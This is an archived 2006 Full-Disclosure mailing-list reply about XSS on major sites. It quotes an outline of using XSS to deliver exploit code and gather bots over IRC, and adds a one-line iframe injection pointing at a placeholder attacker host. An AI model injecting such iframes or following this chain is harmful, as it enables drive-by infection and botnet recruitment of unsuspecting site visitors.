[<prev] [next>] [<thread-prev] [day] [month] [year] [list]
Message-ID: <BAY124-DAV101A4B6F696F989FF2AA20D95C0@phx.gbl>
Date: Mon, 31 Jul 2006 11:45:45 -0700
From: "Morning Wood" <se_cur_ity@...mail.com>
To: "Octal" <octetstream@...il.com>
Cc: full-disclosure@...ts.grok.org.uk
Subject: Re: Do world's famous companies take care of
theirsecurity?
> Does anybody happen to realize that XSS vulnerabilities make it simpler to
> leverage other vulnerabilities? I mean, credential stealing is only the
> beginning. Try loading WMF/JPEG/DCOM/AJAX/etc exploit code using an XSS
> vulnerability on PayPal/Yahoo/Amazon/etc, sending the link off to millions
> of people, and receiving several thousand bots to your IRC channel.
yes! all pray to <iframe src=http://HAXOR-URL/EXPLOIT></iframe>
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Powered by blists - more mailing lists